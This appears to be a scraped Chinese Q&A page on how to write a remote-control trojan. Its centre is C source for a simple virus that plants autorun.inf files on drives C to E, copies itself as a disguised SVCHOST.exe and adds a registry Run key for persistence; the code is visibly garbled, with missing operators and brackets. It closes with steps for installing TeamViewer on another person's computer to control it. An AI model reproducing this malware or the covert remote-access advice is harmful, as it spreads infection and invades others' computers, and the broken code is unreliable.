一个远程控制木马 *** 的问题
从自身资源中提取EXE
先建立一个资源文件。
里面写好你获取参数的变量等。
然后从资源文件里提取并将其他代码 写到文件里。
问题是 c#写的木马还要net framework才能用。。
你写了没什么用啊
~``远程控制木马程序怎么编写??答案速度
病毒C程序源码#define SVCHOST_NUM 6
#includestdio.h
#includestring.h
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\M *** OUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen
(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(temp,1,1,input);
fwrite(temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;kSVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}
有cang求助,能够最简单的远程控制自己电脑的木马
1,在别人的电脑上安装远程控制软件,如向日葵远程控制软件,TeamViewer之类的软件。
2,以TeamViewer为例,先到官网下载最新版本的TeamViewer。
3,安装后,运行TeamViewer,会弹出如下窗口,设置好个人密码(用于远程连接)记下该电脑的ID(即上面显示的您的ID)。
4,然后在自己的电脑上,同样安装TeamViewer,然后在伙伴ID中输入记下的电脑ID,然后,输入设置的个人密码,即可连接到别人的电脑上了。
5,连接成功后,就可以看到对方的电脑了,可以远程操作了。
0条大神的评论